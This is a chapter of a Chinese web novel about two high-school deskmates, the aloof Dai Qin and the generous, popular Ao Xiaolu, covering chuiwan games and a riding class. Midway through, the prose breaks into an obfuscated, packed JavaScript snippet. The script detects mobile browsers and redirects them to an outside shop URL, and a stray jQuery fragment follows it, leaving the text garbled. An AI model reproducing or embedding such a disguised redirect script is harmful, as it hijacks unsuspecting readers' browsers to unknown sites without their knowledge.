日子一天天过去,捶丸队伍越发壮大,这股风潮席卷了整个高一。
也就是在这个时候,她才深刻地明白敖小陆究竟有多受欢迎。
你知道台风眼吗?
台风眼自身很安静,可是所到之处,无一不掀起狂风暴雨。
敖小陆就是那样的人。
后来玩的人太多了,几乎每周日的时候,敖小陆都会背来一堆捶杆,免费送给游戏的人。
戴琴那时候,还一度觉得她很傻。
因为换作是她的话,她肯定会抓住风口,将这些捶杆先是以体验的方式借出去,等到用户喜欢上这个游戏之后,再顺利成章把捶杆卖出去。
这是一个很好的商机,不是吗?
但敖小陆面对那么一个市场,竟然什么都不做,只是送杆子……
用赠物的方式来交朋友,戴琴觉得她傻透了。
与此同时,她又微妙地感受到了嫉妒。
一方面是因为敖小陆的个性过于善良,她不在在意物质,就显得戴琴比较世俗。”
“再加上她很热心肠,就会显得你很冷淡。
另外一方面,就是敖小陆的朋友很多,这让戴琴觉得她的帮助如同举手之劳般随意。
可更深层次里,戴琴觉得自己欠下的人情很特殊,而敖小陆那不以为意的从容让她略有些懊恼。
不知怎么地,这激起了戴琴的好奇心。接下来的一整个秋天,她都在观察与敖小陆有关的事。
敖小陆不愧是本年级的交际花,身边从来不缺玩乐的人,每天午饭和晚饭,都有一群人簇拥着她去食堂。
据戴琴观察,她不仅在本年级受欢迎,一些高年级的学姐也很喜欢找她玩。她画画很好,有一次戴琴还看着她跟着几名学生会的学姐在公示栏前画海报。
除此之外,敖小陆也有在好好经营自己的捶丸小队。每周三五六,是敖小陆捶丸队固定打球的时间。每到这个时间,操场的一半地区都被她们占用,通常会把打羽毛球的学生挤到角落里。
戴琴闲着无聊,大部分时间会抱着书在不远处的花坛坐着。有一次还看过她们和打羽毛球的起冲突,不过凭借着敖小陆那惊人的怪力在球场厮杀一番,抢回了地盘。
刨除这些敖小陆原有的技能不谈,戴琴还惊讶地发现,陈小写字非常好看。甚至一开始,戴琴还误以为敖小陆成绩很不错。后来上了两周课,她才发现敖小陆就是个花架子。
敖小陆写得一手好字,无论是中文还是英文,甚至是蒙文都华丽得像是一幅画。
除开这三门课和历史课之外,她就没有见敖小陆好好听过课。尤其是数学,物理,化学这样的课,那是上一节课睡半节课。敖小陆一开始睡觉,老师的视线就会朝她们这桌投来。戴琴是个好孩子,什么时候经历过被老师盯梢的感觉,立时就冷汗直冒。
她惊得连忙伸手,咬着牙把敖小陆摇醒。
开始的几节课戴琴还能温柔地小心翼翼摇一摇,后来就直接上手掐了。
掐得多了,敖小陆上课也不睡了。她就翻开课本,又开始画那些花里胡哨摆不上桌的玩意。戴琴倒是松了一口心,毕竟画画总比睡觉强。
可就是这样的一个人,在这所学习氛围十分严肃的学校里,却相当的受欢迎。
戴琴低头,扫了眼她放在腿边,每周背给伙伴们的捶杆,深深皱眉。
为什么?
长得不错,又热情开朗,慷慨大方,也难怪有那么多人喜欢和她交朋友。兴许人就是这样吧,给一点小恩小惠就能获得他人的青睐和感激。如此看来,也不失为一种社交手段。
戴琴这么想着,将目光落在了敖小陆脸上,眼神略有些复杂。
许是盯得久了,原本正在认真抄写作业的敖小陆转过头朝她看来:“怎么了?”
她有一双太过好看的眼,不笑的时候眼神很清澈,宛若夏夜时节流过草场的潺潺河水,夜色越深越是澄澈透明。
戴琴将自己那些无端地猜测压回心底,摇摇头表示没什么。敖小陆哼了一声,又重新拿着笔继续抄写单词去了。
戴琴沉默片刻,想了想还是开了口:“你总是让人占便宜,不会觉得吃亏吗?”
声音压得很低,落在敖小陆的耳朵里却十分清晰。她偏头看向戴琴,眼神带着几分疑惑:“什么吃亏?”
戴琴垂眸,望着她腿边的捶杆沉默不语。
敖小陆顿时了然:“你说这个啊……”她笑了起来,神情有几分无奈,“这有什么好吃亏的,玩得开心就好啦。”
理智上告诉戴琴话题到这里就结束了,这是敖小陆自己的事,她实在不应该多嘴。可她看到敖小陆的眼睛,破天荒地多说了几句:“这些杆子都是你自己买的吧,如果是这样的话,那它本身就具备一定的经济价值。”
“总这样……以后会有人一直占你便宜的。”
以敖小陆的个性,就算不那么慷慨大方,也会有很多人愿意做她的朋友。可如果一味的让人白嫖,就会形成好说话的印象,到时候占便宜不就是家常便饭吗?
以前在初中的时候,她就见过这样的孩子。总是笑眯眯的帮人做事,久而久之就发展成连作业都会帮别人抄了。
虽然戴琴判定敖小陆不会走到这一步,毕竟她学习也就这样,别人不帮她抄作业就算不错了。但是饭票呢?钱呢?让利多了,这何尝不是一种损失。
戴琴的话音刚落下,就看到了敖小陆错愕的表情。她当即抿唇,转过身握住了笔在草稿纸上写写画画,语气僵硬道:“算了,你就当我什么都没说好了。”
如果这是敖小陆所选择的交友方式,那她何必多说。
反正这个年纪的孩子都是这样,你给我一点东西,我给你一点东西,就建立起了微薄的“友情”关系。大家聚集在一起,不过是为了排遣从出生以来就孤独一人的寂寞,又有什么高低贵贱之分呢。
她绷着一张脸,从敖小陆的角度看过去,实在是清冷得太过漂亮了。
敖小陆的手臂稍稍地往她那边挪过去越过了三八线,压低了声音轻轻道:“咦……好稀奇啊……你这是在关心我吗?”
戴琴伸出手肘将她的手推回去,声音清清冷冷的:“你过线了。”
敖小陆这回是真的笑起来了,她一手撑在桌上抵住自己的下巴,转过头笑眯眯的看着戴琴,放缓了声音和她解释:“你放心好了,她们玩久了想要买我肯定会收钱的。”
“而且这样的东西,我想做的话,周末就可以做。”
戴琴听到这里转过头看向她,却见敖小陆蹩脚地眨了眨右眼,很是俏皮道:“别看我这样,我好歹也会一点木雕哦。”
敖小陆这个右眼眨得异常辛苦,她是那种只能同时眨两只眼的人,此刻右眼闭着,左眼极力睁开,眼肌抽动带着整张脸都微微颤动了起来,看起来很是滑稽。
戴琴有点想笑,但她忍住了,只是扫了一眼淡淡说:“挤不了就别挤了,不好看。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240086|197689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
敖小陆瞬间睁开自己的眼睛,捂住了自己的心口,装出一副很受伤的表情:“哇,你好冷淡。”
戴琴冷哼一声,重新将目光收回来看向前方。就在这时,班主任的身影,从走廊外的窗户一闪而过。她轻咳一声,伸手撞了撞敖小陆。敖小陆收到信号,立即坐正,拿着笔继续抄写英语单词。
没一会,班主任的身影悄无声息地出现在教室后门,随着她的身影迈入教室,原本还有些声响的教室立时间鸦雀无声。
静谧的教室里,戴琴拿着笔忙碌的计算着笔下的数学题。不知道怎么的,敖小陆刚才努力挤眼的蹩脚模样顿时浮现在脑海中。她想着想着,唇角微微上扬,一个清浅动人的笑容浮忽而浮现在唇边。
眨眼又是周五,已经将跳操学完的学生们终于迎来了期待已久的骑马课。一大早班上的学生们都显得异常激动,到了下午,这种焦躁之情显得越发的沸腾。
尤其是倒数第二节课的生物课,同学们那是一心都扑在校场外的林场上,完全听不进课了。
生物老师是个瘦瘦的汉族男人,一上课就发现了学生们的心不在焉。他很无奈,推了推眼睛,敲着黑板:“回神了回神了,集中注意力好好上课!”
“你们要是好好听课,我就提前五分钟下课。要是不听课……”
他顿了顿,毫不留情地威胁:“我就拖堂十分钟了啊!”
这群盼望着去骑马的小孩哪里听得了这种话,当下就“唰”地一下将注意力放在黑板上,全神贯注,聚精会神,炯炯有神地看着老师。
那是乖得不得了哎。
生物课老师满意了,敲了敲黑板,继续讲课去了。
这节课应该是十二班的同学今天上过最认真的一节课,老师问什么就齐声答什么,上课氛围非常好。因此老师也遵守了诺言,一到点就放他们下课。
孩子们一窝蜂地就往教室外冲:“冲啊!”
“我的小马驹,我来了!”
一群人激动得要命,生物老师跟在身后很是无奈,不停地说:“轻点,轻点……别的班还在上课呢。”
“下楼慢点,别摔了!”
比起其他人的激动,后桌的敖小陆和戴琴就显得淡定得多了。
戴琴是纯粹的不会骑马,也对这项体育不太感冒。不如说,因为肺部不好,她几乎讨厌所有的运动。
至于敖小陆嘛……
戴琴走得慢,挂在了十二班骑马大队的最后一名,慢悠悠地走下楼。
敖小陆也差不多,走在前面,此刻被几个女孩子簇拥着。其中一个就是那天询问骑马有趣的汉族女孩,向来不记得人名的戴琴,破天荒地记得她的名字。
女孩名叫陆绵绵,个子不到一米六。此刻站在敖小陆身旁,身形娇小,玲珑可爱:“骑马会不会很难啊?”
从戴琴的角度看过去,能够看到少女望着敖小陆的眼睛离带着明晃晃的崇拜,闪闪发光。
而比少女眼睛更明亮的,是能够映入少女眼中的那个人。敖小陆垂眸望着她,脸上带着笑容,很真诚地说道:“不难的啊,一学就会了。”
陆绵绵的脸上浮现了一丝羞涩,试探地开口:“那你可以教我吗?”
敖小陆笑呵呵的道:“好啊。”
落在她们身后的戴琴将这一幕尽收眼底,不禁在心中腹诽道:敖小陆天天这么笑,就不怕长出笑纹吗?
她又转念一想:傻狍子都过不了冬天,还长什么皱纹啊!